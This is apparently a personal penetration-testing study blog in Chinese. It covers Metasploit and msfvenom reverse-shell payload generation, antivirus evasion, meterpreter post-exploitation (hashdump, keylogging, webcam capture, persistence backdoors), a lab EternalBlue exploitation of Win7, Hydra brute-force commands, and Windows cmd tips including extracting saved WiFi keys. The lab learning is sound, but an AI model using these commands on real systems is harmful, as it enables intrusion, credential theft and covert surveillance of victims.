Jay jay
文章28
标签2
分类0
Metasploit工具使用

Metasploit工具使用

Metasploit简介

metasploit是一款免费可下载的框架,附带数百个已知的软件漏洞,并保持频繁更新,是渗透领域最流行的框架,在kali中自带。可以使用apt-get install metasploit-framework 来更新或者使用自带的升级命令msfupdate。

Metasploit模块划分

msf为总模块,其他均为分支模块,分为以下几个模块:
辅助攻击模块:auxiliaary,扫描器,扫描主机系统,寻找可用漏洞
渗透攻击模块:exploits,选择配置一个漏洞利用模块
攻击载荷模块:payloads,选择并配置一个攻击载荷模块,主要用来建立稳定的连接,可以返回shell和进程注入
后渗透攻击模块:post,用于内网渗透的各种操作
编码器模块:encoders,选择编码技术绕过杀软或其他免杀方式
躲避模块:evasion是msf用来做免杀的效果一般
空指令模块:nops,用于提高payload稳定性和维持大小。
所有模块位置:/user/share/metasploit-framework/modules/
模块位置

启动metasploit

首次启动:
启动postgresql->启动metasploit->连接postgtesql
启动步骤:
1、启动postgresql:service postgresql start
2、初始化msfdb:msfdb init(默认创建的数据库名称: msf,msf_test; 用户名: msf; 密码默认值为空)
3、启动msf:msfconsole
4、使用db_status可以查看数据库连接状态
命令执行
二次启动metasploit直接使用命令msfconsole启动

渗透步骤exploit

  1. search xxx #搜索某个漏洞
  2. use xxx #使用某个漏洞利用模块
  3. show options(options) #查看配置选项,可以使用info查看详细信息
  4. set payload #配置攻击载荷
  5. exploit(run) #执行渗透攻击

常用命令参数

reload_all #从目录重载所有模块,导入模块也需要使用此命令
back #后退命令,移除当前上下文,用于模块切换
info #查看模块详细信息
check #检查目标是否受某个漏洞影响

search type:模块类型 path:模块路径 -S 过滤 服务
如:search type:auxiliary -S scanner ssh表示搜索辅助扫描模块的ssh服务


sessions #会话管理
sessions -l #列出所有会话
sessions -K #终止所有会话
sessions -i id #进入某个会话
sessions -v #以详细模式列出会话
sessions -u #在许多平台上将shell升级到meterpreter会话
background 或 bg #将会话放到后台

show options #显示可选选项
auxiliary #显示所有辅助模块
exploits #显示所有漏洞利用模块
payloads #显示所有有效载荷
targets #显示所有可用目标
advanced #显示高级选项
encoders #显示可用编码器列表

unset [moudle options] #清楚moudle options

导入模块,模块命名不能有-,可以用_代替。reload_all #从目录重载所有模块。导入模块也需要使用此命令

辅助模块anxiliary

使用show可以展示出可以使用的扫描模块有很多
模块
使用use 编号可以使用编号对应的模块
常用的端口扫描模块

use auxiliary/scanner/portmap/portmap_amp
use auxiliary/scanner/portscan/ftpbounce
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/portscan/ack
use auxiliary/scanner/portscan/syn
use auxiliary/scanner/portscan/xmas

常用的服务扫描

auxiliary/scanner/ssh/ssh_login		#SSH爆破
auxiliary/scanner/vnc/vnc_none_auth #VNC空口令扫描
auxiliary/scanner/telnet/telnet_login#SSH爆破
auxiliary/scanner/smb/smb_version #SMB系统版本扫描
auxiliary/scanner/smb/smb_enumusers #SMB枚举
auxiliary/scanner/smb/smb_login #SMB弱口令登录
auxiliary/admin/smb/psexec_command #登录SMB且执行命令

auxiliary/scanner/mssql/mssql_ping #MSSQL主机信息扫描
auxiliary/admin/mssql/mssql_enum #MSSQL枚举
auxiliary/scanner/mysql/mysql_login #MySQL弱口令扫描
auxiliary/admin/mysql/mysql_enum #MySQL枚举

攻击载荷和编码(payloads && encoders)

可以使用以下方式生成payload和编码

use payload 或标号 -E 强制编码 -e 要使用的模块编码器模块的名称 -f 输出文件名(默认stdout) -t 输出格式:raw,ruby,perl,rb,pl,c,java,dll,exe,elf,vbs,asp,war等 -b要避免的字符列表:'\x00\xff'

常用payload

windows/meterpreter/bind_tcp 		# 正向连接
windows/meterpreter/reverse_tcp # 反向连接
windows/meterpreter/reverse_http # 通过监听80端口反向连接
windows/meterpreter/reverse_https # 通过监听443端口反向连接

可以使用msfvenom生成shellcode编码免杀
msfvenom参数使用详解:

-l ,--list<type>    #列出所有可用的项目其中值可设为payloads,encoders,nops,platforms,archs,encrypt,formats
-p ,--payload <payload> #指定payload,如果指定为-则从标准输入流中读取
--list-options #列出--payload<payload>的标准,高级和规避选项
-f #指定输出格式
--list-form #列出格式
-e #指定编码方式
--list-encoder #列出编码方式
--sec-name <value> #生成windows二进制文件时使用的新名称,默认四个随机数
--smallest #使用所有可用的编码器生成最小的payload
--encrypt 值 #应用于shellcode的加密或编码类型 (--list encrypt 列出)
--encrypt-key 值 #用于加密的密钥
--encrypt-iv 值 #加密初始化向量
-a,--arch #指定目标系统架构(--list-archs 列出)
--platform <platform> #指定目标系统平台(--list-platform)
-o #保存payload
-b,--bad-chars <list> #设置需要在payload中避免出现的字符
-n,--nopsled <length> #指定nop在payload中的数量
-s,--space <length> #设置未经编码的payload最大长度
--encoder-space <length> #编码后的最大长度
-i, --iterations <count> # 设置 Payload 的编码次数
-c, --add-code <path> # 指定包含一个额外的win32 shellcode文件
-x, --template <path> # 指定一个特定的可执行文件作为模板
-k, --keep # 保护模板程序的功能,注入的payload作为一个新的进程运行
-v, --var-name <value> # 指定一个变量名(当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码,追加到一个 python 变量中,这个参数即为指定 python 变量的变量名)
-t, --timeout <second> # 设置从STDIN读取payload的等待时间(默认为30,0为禁用)
-h, --help # 帮助

windows

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=kali的 ip LPORT=kali监听端口 -f exe >1.exe
参数选项:
-p 指定payload
-a 自定系统架构
-e 编码器,x86/shikata_ga_nai
-i 迭代器,对有效载荷的编码次数
-f 输出文件格式:exe,dll,raw
-o 指定文件名输出文件

生成

linux
msfvenom -p payload LHOST=kali ip LPORT=kali监听端口 -f 文件格式>文件名

常见生成:

常见生成shellcode

常见格式

免杀

木马绕过免杀的本质是更改特征码方式有以下几种:编码、加壳免杀、二次编译、分离免杀:即将shellcode和加载器分离。目前msfvenom的encoder特征基本都进入了杀软的漏洞库,很难实现单一encoder编码而绕过杀软,所以对shellcode进行进一步修改编译成了msf免杀的主流。
互联网上有很多借助于C、C#、python等语言对shellcode进行二次编码从而达到免杀的效果。

监听反弹shell

use exploit/multi/handler 使用这个监听模块
set payload windows/x64/meterpreter/reverse_tcp #注意这要和生成的木马保持一致
set lhost kali的ip #设置本地地址要和木马一致
set lport 端口号 #设置本地侦听端口和木马一致
run #执行

kali侦听
最重要的payload设置
设置payload
将生成的木马1.exe上传到win7然后执行
运行
kali的msf后台上线,进入shell了
上线
测试是否成功

后渗透模块(post)

以下命令是在反弹shell成功后运行

run post/windows/gather/checkvm #检查目标是否虚拟机
run post/linux/gather/checkvm
run post/windows/manage/killav #关闭杀软
run post/windows/manage/enable_rdp #开启目标远程桌面
run post/windows/gather/enum_logged_on_users #列举当前登陆用户,和最近登陆过的用户
run post/windows/gather/enum_applications #列举应用程序
run windows/gather/credentials/windows_autologin#列举自动登陆的用户名和密码

运行测试
查看

Meterpreter

持久化
刚才刚刚获得的meterpreter shell,该shell是非常脆弱的,可以把它和目标机中一个稳定的程序绑定,NT AUTHORITY\SYSTEM 这个账号是隐藏的就是windows至高权限账户,根administrator拥有相同权限:

getpid #查看当前meterpreter shell的进程号
ps #获取目标进程
migrate 进程号 #将shell迁移到pid为进程号的进程中

持久化

常用命令:

pwd、ls、cd
getuid #查看当前权限
getsystem #获得系统管理员权限(要本地管理员权限运行)
hashdump #抓哈希密码
sysinfo #查看系统信息
idletim #查看目标系统已运行时间
route #查看目标机完整网络设置
shell #进入目标机shell,exit退出she
background #将meterpreter隐藏在后台

upload ./1.txt c:\\1.txt #上传文件
download c:\1.txt ./ #下载文件
search -f *.txt -d c:// #搜索文件

keyscan_start #启动键盘记录
keyscan_stop #停止键盘记录
keyscan_dump #转储键盘记录的内容
screenshot #抓取截屏
webcam_list #摄像头列表
webcam_snap #摄像头拍照
webcam_stream #抓取视频

#Kali-Linux下登录远程桌面
sudo rdesktop -f 目标IP

route add IP 子网掩码 #添加路由,先background

在这里可以使用persistence模块留后门,也就是建立持续性后门。
persistence是用来进行权限维持的,可以利用它创建注册表和文件,这个模块是我们获取了meterpreter shell后使用
我们可以查看persistence查看帮助信息通过run persistence -h
查看
这里报错暂时没有解决。

也可以使用metsvc生成后门run metsvc -h
后门

-A   安装后门后,自动启动exploit/multi/handler模块连接后门
-h 查看帮助
-r 删除后门

安装成功后会在c:\windows\temp中创建一个新目录上传metsvc.dll、metsvc-server.exe、metsvc.exe
生成后门
我们打开新的msf使用handler连接,这里需要注意生成的payload已经改变我们需要重新配置为set payload windows/metsvc_bind_tcp
查看配置这里我们需要指定远程地址为win7地址远程端口号为31337这里是一个正向连接的shell
配置
执行run
执行
不知什么原因死了

网络穿透

拿到反向shell之后获取目标网络信息
run get_local_subnets

使用autoroute模块添加路由

run autoroute -s 192.168.23.0/225.225.225.0
run autoroute -p #列出添加了路由规则存活的session

添加完成后返回上一层,这里一定要保证添加了路由规则的sessions的存活,如果sessions掉了对应的路由规则也就失效了

nmap扫描工具

nmap扫描工具

Nmap简介

端口扫描是nmap工具的核心功能,用于确定目标主机tcp/udp端口开放情况。在kali中已经安装。
默认情况下nmap会扫描最有可能开放的tcp端口
nmap通过探测将端口划分为6个状态:

  1. open端口是开放的
  2. closed端口是关闭的
  3. filtered端口被firewall/ids/ips屏蔽,无法确定状态
  4. unfiltered端口没有被屏蔽,但是否开放无法确定
  5. open|filtered端口是开放或屏蔽
  6. closed|filtered端口是关闭或屏蔽

Nmap使用

常用
nmap有四种基本功能:端口扫描、主机探测、服务识别和系统识别

端口扫描

地址```默认扫描主机的1000个常用端口
![扫描](nmap扫描工具/2023-04-16-11-53-56.png)
可以看到扫描了1000个端口并把开放的端口和能识别的服务显示出来了。

* 指定端口
使用-p参数可以一次扫描单个、多个、或扫描一个范围的端口

```txt
nmap 地址 -p 端口号 #扫描单个端口
nmap 地址 -p 1-80 #扫描端口范围
nmap 地址 -p 80,3389,23,22 #扫描多个端口
nmap 地址 -p- 等价于nmap 地址 -p 1-65535 #扫描全端口

指定端口扫描

  • 指定扫描方式
    利用wireshark过滤扫描时的请求包筛选出指定方式的请求例如扫描地址并且端口是tcp的80如下图
    指定方式扫描

  • tcp全连接扫描
    使用-sT参数进行tcp全连接扫描(全连接扫描指的是建立完整的三次握手,能够建立则说明端口开放,否则判定端口关闭)
    nmap 地址 -p 80 -sT
    如果端口开放就会进行完整的三次握手成功建立连接扫描结果中的state字段为open
    全连接

如果端口关闭则只进行一次握手无法建立连接扫描结果中的state字段为closed
端口关闭

  • syn半连接扫描
    使用-sS参数进行syn半连接扫描(半连接指的是只进行两次握手,对方返回确认帧ack=1说明端口开放否则端口关闭)
    nmap 地址 -p 80 -sS
    如果端口开放则会完成两次握手,扫描结果中的state字段为open
    完整扫描

如果端口关闭则,只能进行一次握手,扫描结果state字段显示closed
端口没有开放
这里没有进行-sS参数添加是因为nmap默认使用半连接扫描

全连接和半连接
比较

  • 隐秘扫描只适用于linux系统
    隐秘扫描是向目标主机的端口发送tcp fin包或xmas tree包或null包,如果收到rst响应包则判定端口关闭否则就判定端口开放或屏蔽
nmap 127.0.0.1 -p 80 -sF #fin扫描
nmap 127.0.0.1 -p 80 -sN #null扫描所有loges都为0的tcp包
nmap 127.0.0.1 -p 80 -sX #xmas扫描flags的fin、urg、pysh都为1

主机探测

扫描网段中有那些主机在线,使用-sP参数,不扫描端口只扫描存活主机
本质上是使用ping扫描,能ping同有回包则判定主机在线
扫描主机
可以看到扫描了192.168.23.0这个网段的256个ip其中有5个存活

服务识别

扫描端口时,默认显示端口对应的服务,但不显示服务版本,可以使用-sV参数显示服务版本
显示服务版本

识别操作系统

可以使用-O参数识别操作系统版本,这里扫描的结果可能不准确,识别不出来会以概率列举操作系统
识别操作系统

扫描结果导出

可以导出扫描结果使用-oN导出为文本格式,-oX导出为xml格式
导出

常用参数

-T <0-5>参数指定扫描速度,常用4

永恒之蓝漏洞复现(ms17-010)

永恒之蓝漏洞复现(ms17-010)

MSF简介

metasploit framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知软件漏洞,并保持持续更新,metaspolit可以用来信息搜集、漏洞探测、漏洞利用等渗透测试的全流程,在kali中自带了。

基本命令

基础命令

#进入msf
msfconsole
#使用search查找相关漏洞
search ms17-010
#使用use进入模块
use 数字
#使用info查看模块xinxi
info
#设置poc连接方式
set payload windows/x64/meterpreter/reverse_tcp
#查看模块需要配置的参数
show options
#设置参数
set RHOST 地址
#攻击
exploit / run
#回退
back

后渗透命令

#查看当前用户
getuid
#进入shell
shell
#解决shell乱码
chcp 65001
#推出shell
exit
#把会话放到后台
background
#查看会话
sessions
#进入某个会话
session -i id号
#删除会话
session -k id号

ms17-010漏洞复现

漏洞介绍

永恒之蓝(ms17-010)爆发于2017年4月14日,是一种利用windows系统smb协议漏洞来获取系统最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日不法分子通过改造永恒之蓝制作了wannnacry勒索病毒,使全世界大范围遭受该勒索病毒,该病毒后来被微软修复。存在漏洞的主机只要开放445端口即可被攻击获取系统最高权限。

影响版本目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0

漏洞复现

在msf中利用ms17-010漏洞来攻击系统,以初步熟悉msf工具

复现环境:攻击机为kali 被攻击机为win7 关闭防火墙

1、主机发现

在kali中使用nmap扫描win7开放端口
nmap win7地址 -O操作系统识别 -sS -T4
下一步需要学习nmap工具的使用
扫描发现可以使用

2、永恒之蓝漏洞探测

先进入msf,然后搜索ms17-010的漏洞模块
进入msf搜索漏洞并使用

3、我们使用scanner模块对主机进行扫描,检测是否存在漏洞,use 1首先查看模块信息使用info命令查看
扫描测试模块

4、如何利用模块对主机扫描,只需要使用show options选项,查看我们需要输入的具体参数,其中表注了yes的选项是必须的参数,若参数为空则需要我们填写,RHOSTS选项为空,所以我们需要填写,代表攻击目标,输入r使用tab补全该参数
配置扫描目标

5、使用run执行
扫描测试成功可以利用

6、使用攻击模块并重复上述设置
查看信息
7、配置目标
配置目标
8、使用run执行攻击
执行
如果发现攻击失败,这里出现的原因可能是防火墙未关闭,远程连接没有打开,或者是补丁的原因,这里是补丁原因参考连接
补丁全部卸载把可以卸载的都卸了卸载完成重启
重启后再次执行永恒之蓝利用程序测试
成功
可以看到成功获取到了win7的system权限并且可以成功执行命令
命令
注意:在这里我直接使用攻击模块去攻击的并没有扫描所以才会在攻击那块攻击失败,而扫描是攻击成功后加上去的,正规流程是扫描就会报错然后删除补丁重新扫描成功在利用攻击模块攻击

9、使用exit可以推出当前shell使用background可以将会话放到msf后台使用sessions可以查看后台shell使用sessions -i id号可以进入相关shell

获取权限

hydra暴力破解工具使用

hydra暴力破解工具使用

hydra简介

hydra是著名黑客组织thc的一款开源暴力破解密码工具,功能非常强大,kali下默认安装,几乎支持所有协议的在线破解,密码能否破解,在于字典的强大。

hydra参数讲解

-R #继续从上一次进度接着破解
-S #采用ssl连接
-s #port 可以通过这个参数指定非默认端口
-l #login 指定破解的用户,对特定用户破解
-L #file 指定用户名字典
-p #pass 小写,指定密码破解,少用,一般是采用密码字典
-P #file 大写,指定密码字典
-e #ns 可选 n:空密码试探 s:使用指定用户名和密码试探
-C #file 使用冒号分隔格式,例如:"登录名:密码"来代替-L/-P参数
-M #file 指定目标列表文件一行一条
-o #file 指定结果输出文件
-f #在使用-M参数以后,找到第一对的登录名或者密码时终止破解
-t #taskes同时运行的线程数默认16
-w #time 设置最大超时时间单位s默认30s
-v/V #显示详细过程
server #目标ip
service #指定服务名

使用方法:hydra <参数><地址><服务名>

暴破ssh

hydra -L user.txt -P pass.txt -t 5 -vV -e ns -f IP地址 ssh

我们使用win7做演示首先我们需要打开win7的ssh服务,首先从官网下载openssh软件包https://github.com/PowerShell/Win32-OpenSSH/releases然后解压添加环境变量
配置环境变量
成功安装
测试安装是否成功
然后配置服务端进入解压目录
安装sshd服务
powershell.exe -Executionpolicy Bypass -File install-sshd.ps1
开放22号端口如果关闭了防火前可以不执行
netsh advfirewall firewall add rule name=sshd dir=in action=allow protocol=TCP localport=22
配置开机自启动sshd服务
sc config ssht start= auto
开启服务
net start sshd
启动sshd服务
默认的sshd配置文件在c:\programdata\ssh目录下(为隐藏目录)
配置文件目录
修改配置文件
端口号:Port 22
密钥访问:PubkeyAuthentication yes
密码访问:PasswordAuthentication no
空密码:PermitEmptyPasswords no
我们把空密码连接打开重启服务尝试本地连接和远程连接发现无法连接
尝试
这里只需要禁用以下选项即可
禁用
就可以进行本地和远程空密码连接了
测试
正式进行暴破
暴破
在这里我们需要注意登录ssh的账户是电脑中的账户,电脑中的账户密码修改则登录密码也修改,通过使用ssh 用户名@地址 -p 服务端端口号指定用户登录

另一种登录方式创建密钥登录更安全在客户端生成密钥将公钥传输给服务器然后连接。
生成密钥

# -t type,指定要生成的密钥类型,有rsa1(SSH1),dsa(SSH2),ecdsa(SSH2),rsa(SSH2)等类型,较为常用的是rsa类型
# -C comment,提供一个新的注释
# -f filename,指定生成的密钥文件名字
ssh-keygen -t rsa -C "注释" -f "id_rsa(密钥文件名)"

创建密钥

将公钥上传到服务端
将公钥内容拼接到对应用户目录下的authorized_keys文件内,文件不存在时手动创建cat id_rsa.pub >> .ssh/authorized_keys·并赋予权限,设置服务端配置文件允许密钥连接登录

linux文件路径:/etc/ssh/sshd_config
windows路径:c:\programdata\ssh
# 允许使用 RSA 密钥校验登录
RSAAuthentication yes
PubkeyAuthentication yes
# 禁止登录 root,本人由于是在本地虚拟机测试玩的,为了方便,全开了
PermitRootLogin yes
# 是否允许密码登录
PasswordAuthentication yes

客户端登录方式:

  1. 在命令行中指定私钥:ssh 用户名@地址 -i ~/.ssh/id_rsa_server

  2. 使用ssh-agent代理

# 先添加私钥
$ ssh-add ~/.ssh/id_rsa_server
# 查看添加的私钥
$ ssh-add -l
# 使用 ssh-agent 代理,ssh-agent 会在 ssh-add 列表中寻找到合适的私钥
$ ssh root@192.168.56.102
  1. 在ssh配置中指定私钥文件
$ vim ~/.ssh/config

Host gateway # 主机别名,使用 ssh gateway 命令可以直接登录该主机
Protocol 2 # SSH 协议版本
HostName example.com # 主机地址,支持IP或域名
Port 22 # SSH 服务端口号
User ubuntu # 登录用户名,会被 ssh root@gateway 覆盖,除非使用 ssh gateway
IdentityFile ~/.ssh/id_rsa # 使用的私钥文件

暴破ftp 端口号21和20

hydra ip ftp -L 用户名 -P密码字典 -e ns -vV

win7打开ftp服务
打开ftp
然后创建ftp用户和密码,计算机右键管理项在本地用户和组下的分栏右键点击用户,选择新建用户,在文字栏输入用户名和密码,确认后点击页面下方的创建。
创建ftp用户
然后在C盘创建ftp上传和下载目录
创建目录
配置ftp服务器,创建上传和下载服务
创建上传服务器:
打开iis
打开iis
创建ftp上传服务器
ftp上传服务器
创建ftp下载服务器
ftp下载服务器
我们测试一下出现如下错误,如果无法访问到这里是防火墙规则的原因我们就简单关闭防火墙
登录报错
解决方法修改我们创建的ftp用户的全名和重命名
解决报错
成功访问
服务成功搭建
我们用kali连接一下
连接成功
我们使用hydra暴破ftp服务
成功暴破
防火墙开启ftp服务
netsh advfirewall firewall add rule name=ftp dir=in action=allow protocol=TCP localport=21
这里也可以使用phpstudy直接一键启动搭建ftp服务
启动
连接

爆破远程连接3389端口

利用hydra暴破3389远程连接使用的rdp协议命令
hydra -L user.txt -P pass.txt -t 5 -e n -vV 192.168.23.128(地址) rdp(协议)
win7远程连接其他电脑命令mstsc
远程连接
win7配置远程桌面连接命令sysdm.cpl打开配置
配置远程连接
配置允许空密码登录设置secpol.msc安全选项配置
所选项禁用
我们可以使用rdesktop远程连接windows电脑
kali远程连接
远程连接
正式暴破
暴破
可以看到成功了,这里是用电脑中已存在的账号登录。

暴破smb服务

首先打开控制面板打开网络共享服务进行配置
打开smb服务
smb服务的端口号137、138、139、445可能打开
我们来使用hydra进行暴破
成功
然后就可以使用net use映射c盘进行利用

暴破telnet服务

首先win7打开telnet服务win+R输入optionalfeatures打开telnet服务
打开服务
启动服务services.msc
启动
暴破用户名和密码默认win7登录的用户名和密码
成功
可以进行telnet连接利用

暴破数据库以mysql为例其他数据库可以更换数据库名字

首先开启允许数据库远程连接
开启允许远程
设置防火墙允许3306通过
netsh advfirewall firewall add rule name=mysql dir=in action=allow protocol=TCP localport=3306
设置防火墙
尝试暴破
成功
成功暴破进行远程连接
mysql -h 192.168.23.128 -P 3306 -u root -proot
远程连接mysql

暴破pop3邮箱协议

hydra -l 用户名 -P 密码字典.txt my.pop3.mail pop3

解决字典问题

kali自带字典文件位置:/usr/share/wordlists/
dirb目录下字典

big.txt #大的字典
small.txt #小的字典
catala.txt #项目配置字典
common.txt #公共字典
euskera.txt #数据目录字典
extensions_common.txt #常用文件扩展名字典
indexes.txt #首页字典
mutations_common.txt #备份扩展名
spanish.txt #方法名或库目录
others #扩展目录,默认用户名、默认密码等
stress #压力测试
vulns #漏洞测试

dirbuster目录下字典

apache-user-enum-** #apache用户枚举
directories.jbrofuzz #目录枚举
directory-list-1.0.txt #目录列表

字典生成工具crunch

生成字典的基本指令:
crunch 最小位数 最大位数 指定生成范围
输出到特定文件位置:
crunch 3 4 100 >>指定的文件

生成字典

总结

hydra可破解的协议有很多

AFP,Cisco AAA,Cisco身份验证,Cisco启用,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-PROXY,HTTPS-FORM- GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,Oracle Listener,Oracle SID,Oracle,PC-Anywhere, PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,SAP / R3,SIP,SMB,SMTP,SMTP枚举,SNMP,SOCKS5,SSH(v1和v2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth ,VNC和XMPP。

主要看字典是否强大和后续的利用。

docker简单使用学习

docker简单使用学习

docker简介

Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的 Linux或Windows操作系统的机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。

docker和虚拟机的区别

启动时间:docker秒级,虚拟机分钟级
轻量级:docker镜像大小以M为单位虚拟机以G为单位,容器占用资源小比虚拟机部署快
性能:docker共享宿主机内核,系统级虚拟化,占用资源少,没有hypervisor层开销,性能基本接近物理机,虚拟机需要hypervisor层支持,虚拟化一些设备,具有完整的os,虚拟化开销大,因而降低性能,没有容器性能好
安全性:docker共享宿主机内核只是进程级别的隔离,因此隔离性和稳定性不如虚拟机,docker具有一定权限访问宿主机内核,存在安全隐患
使用要求:vm基于硬件的完全虚拟化,需要硬件cpu虚拟化技术支持,docker共享宿主机内核,可运行在主流的linux发行版本,不用考虑cpu是否支持虚拟化技术。

docker原理

将下载的docker镜像创建并部署到docker容器(是docker的执行单元)中启动即可。

docker安装并部署vulstudy靶场

在deepin中执行sudo apt-get update和sudo apt-get install docker.io
在安装docker-compose

sudo wget -c -t 0 https://github.com/docker/compose/releases/download/1.26.0/docker-compose-`uname -s`-`uname -m` -O /usr/local/bin/docker-compose

并赋予可执行权限
sudo chmod a+rx /usr/local/bin/docker-compose
然后测试是否安装成功。
docker-compose -v

配置拉取镜像源
修改etc/docker/daemon.json 没有就创建然后添加国内相关源

从vulstudy的github仓库下载镜像然后使用命令部署

首先需要启动docker
systemctl start docker

如果没有build就先进入目录build一下
docker-compose build

1.单独运行一个漏洞平台
cd到要运行的漏洞平台下运行以下命令
cd vulstudy/DVWA
docker-compose up -d #启动容器
docker-compose stop #停止容器

2.同时运行所有漏洞平台
在项目根目录下运行以下命令
cd vulstudy
docker-compose up -d #启动容器
docker-compose stop #停止容器

为什么docker-compose build是可选的?
docker-compose up -d运行后,会自动查找当前目录下的配置文件。如果配置文件中包含的环境均已经存在,则不会再次编译;如果配置文件中包含的环境不存在,则会自动进行编译。所以,其实docker-compose up -d命令是包含了docker-compose build的。如果更新了配置文件,你可以手工执行docker-compose build来重新编译靶场环境。

查看启动环境
docker-compose ps -a

在环境目录里输入下面停止运行
docker-compose down

进入docker镜像的命令
首先查看id
docker ps -a
进入镜像
docker exec -it id bash
源码在app下

如果有时命令执行失败则需要切换到root命令下执行。

docker的其他基础命令

搜索镜像docker search 关键字
下载镜像docker pull 镜像名
查看已下载的镜像列表docker image ls
创建并使用容器docker run -it --name 容器名 镜像名/镜像id /bin/bash
查看当前容器docker ps -a
查看统计信息docker stats
启动容器docker start 容器名/容器id
重启容器docker restart 容器名/容器id
终止容器或所有容器docker stop 容器名/容器id|$(docker ps -aq)
连接容器docker exec -it 容器名/容器id /bin/bash
删除容器或所有容器docker rm 容器名/容器id|$(docker ps -aq)
删除镜像或所有镜像docker rmi 镜像名/容器id|$(docker images -q)
端口映射:
部署一个容器并将80端口映射到宿主机的8000端口上

# 可以使用--name自定义部署的容器名
docker run -d -p 8000:80 --name 容器名 镜像名

# 也可以直接通过镜像部署
docker run -d -p 8000:80 镜像名

构建新的镜像

docker commit -a "提交的镜像作者" -m "提交时的说明文字" 容器的ID 要创建的新的镜像
docker commit -a "jay" -m "wordpress_phpmyadmin" d64655e87ccc wordpress_phpmyadmin:v1

保存离线镜像

docker save -o 镜像文件名.tar 要保持的镜像
docker save -o wordpress_phpmyadmin.tar wordpress_phpmyadmin:latest

导入离线镜像

docker load --input 镜像文件名.tar
docker load --input wordpress_phpmyadmin.tar
常用命令学习

常用命令学习

windows系统

系统目录服务端口注册表
windows安装目录,重要的文件在windows下system32目录比较重要常用命令在这里,也容易感染病毒,drivers/etc/hosts文件比较重要,system32/config/sam文件记录账号和密码,在pe中删除可以免密登录。perflogs是日志文件夹还有隐藏目录有可能感染病毒
创建账号登录会在用户目录下生成账号文件夹无法完全删除,尽量不要创建账号登录
cmd相关命令

dir 打开目录
move移动文件 盘的格式:盘符名:\目录\名字
ren 重命名文件名 直接将文件位置写出来再将新命名的文件加到最后
replace 替换文件
copy命令用来复制文件 源文件地址 新文件地址
xcopy复制文件夹 /e 全部复制 /c终止
ping 网络连接
ping localhost 或者127.0.0.1 检测本地TCP/IP连接是否正常
ping 网关检查网络是否正常
ping 外网检测网络是否正常
pathping路由追踪
ipconfig获取本机地址/all更详细
gpedit 网络编辑器用来提升网络带宽限制设置小点 看网络环境有可能无影响
ipconfig /flushdns 刷新dns缓存 快速打开一个网站
netsh interface tcp show global 查阅活动状态
netsh interface tcp set global autotuninglevel =normal 接收窗口自动自动调节级别为正常
net user 名 密码/add添加管理员
ner user 名 /del删除管理员
net localgroup administrators 名 /add 提权
telnet还没开启
net start telnet
net localgroup administrators添加到控制远程桌面
mstsc 远程控制窗口
cd 进入一个文件夹
mkdir创建一个文件夹
rmdir删除一个目录
批处理将一些命令写在文档里然后更改文件后缀为.bat
合并文件 copy /b以二进制合并 文件名+文件名 生成文件名
删除文件del 名
文件捆绑iexpress未学会产生的.exe文件无法运行的问题
ie主页的修改还没有学会代码太长
cmd进入管理员命令提示符的方法runas /user:adminisitrator
一分钟自动关机问题修复 netsh winsock rese 可以解决
administrator找回 (超级管理员使超级管理员可用)net user administrator/active :yes
将磁盘格式从fat32改为ntfs convert D:fs:ntfs 全y

第一条 netsh wlan show profiles 第二条netsh wlan show profile name="wifi名称"key=clear 获取WiFi密码
{
清除无法格式化的u盘
disk part 提示相关版本号和信息,打开此工具
list disk 查看你的u盘
selecdisk 3 显示磁盘三现在是所选磁盘
claen 清除u盘
}
运行窗口下输入control 打开系统自带的卸载工具
批处理编程教学http://www.cnblogs.com/phyllis/archive/2011/05/19/2051131.html
http://blog.csdn.net/windone0109/article/category/479067
cmd变量:使用set来定义变量:set 变量名=值;
使用 set 变量名= (空)来删除定义的变量
set /a 是用来进行运算的
set /p用来接收用户键盘输入的 人机交互
用set可以来写脚本文件.bat后缀的文件
echo cmd中的打印 用法 echo %变量名%
setx path “%path%:文件夹路径”设置永久变量
@echo off 关闭回显
attrib +h/-h +加文件名(+隐藏-取消隐藏)
diskpart 磁盘
list disk看磁盘信息
chkdsk命令来检查和修复硬盘
detail详细信息
set id =一个命令参数可以隐藏磁盘
>nul重定义到空不会显示信息
wget 下载网络资源
gpedit网络带宽设小一点
ipconfig /flushdns重新刷新缓存
netsh intface tcp show global 查询tcp信息
netsh intface tcp show global autotuninglevel=normal 设为正常

cmd清理磁盘垃圾:del删除文件 rd删除文件加 写bat文件
cmd解决系统故障:系统文件缺失 被病毒或误删
system windos 系统文件不去修改 重装系统获取拷贝缺失文件
sfc /?系统文件缺失解决 里面有修复功能 windos下log下cbs里面有系统故障的日志 管理员权限下 需重启
强制关机会对磁盘造成损伤:chkdsk检测盘符内的相关信息查看错误情况 /f修复 /r恢复可读信息
convert可以将磁盘格式转化为ntfs:convert 盘: /fs
diskpart 分区格式化磁盘 compmgmt查看计算机管理
net share查看共享并且删除
死亡之ping 拒绝服务攻击 不断地发送很大的数据包对服务器 /l发送很大的数据包 /t不断发送
if /i 不区分大小写
&如果前面运行成功就执行后面的语句
if exist 文件 用来判断是否存在这样一个文件(echo )else(echo )
if define 用来判断是否存在一个这样的变量(echo )else(echo )
当运用定义的变量时要用%%引起来使用
echo 回显 (echo 返回的值)会将值显示在屏幕上
pause >nul;批处理停止
set /p 和用户交互
type nul>文件名创建一个空文件(要写类型)
dos界面的for循环 用一个%引用变量 而批处理需要两个在第二个百分号后写变量名
for %%i in(范围)do 执行的命令 (echo %%i) 通配符* 范围前要加in
for /l %%变量 in(起始值 间隔值 结束值)do 执行语句

netstat -ano |find /I "listening" 产看本地开放端口

windows下常用快捷键

win+d最小化所有窗口			alt+F4关闭当前窗口
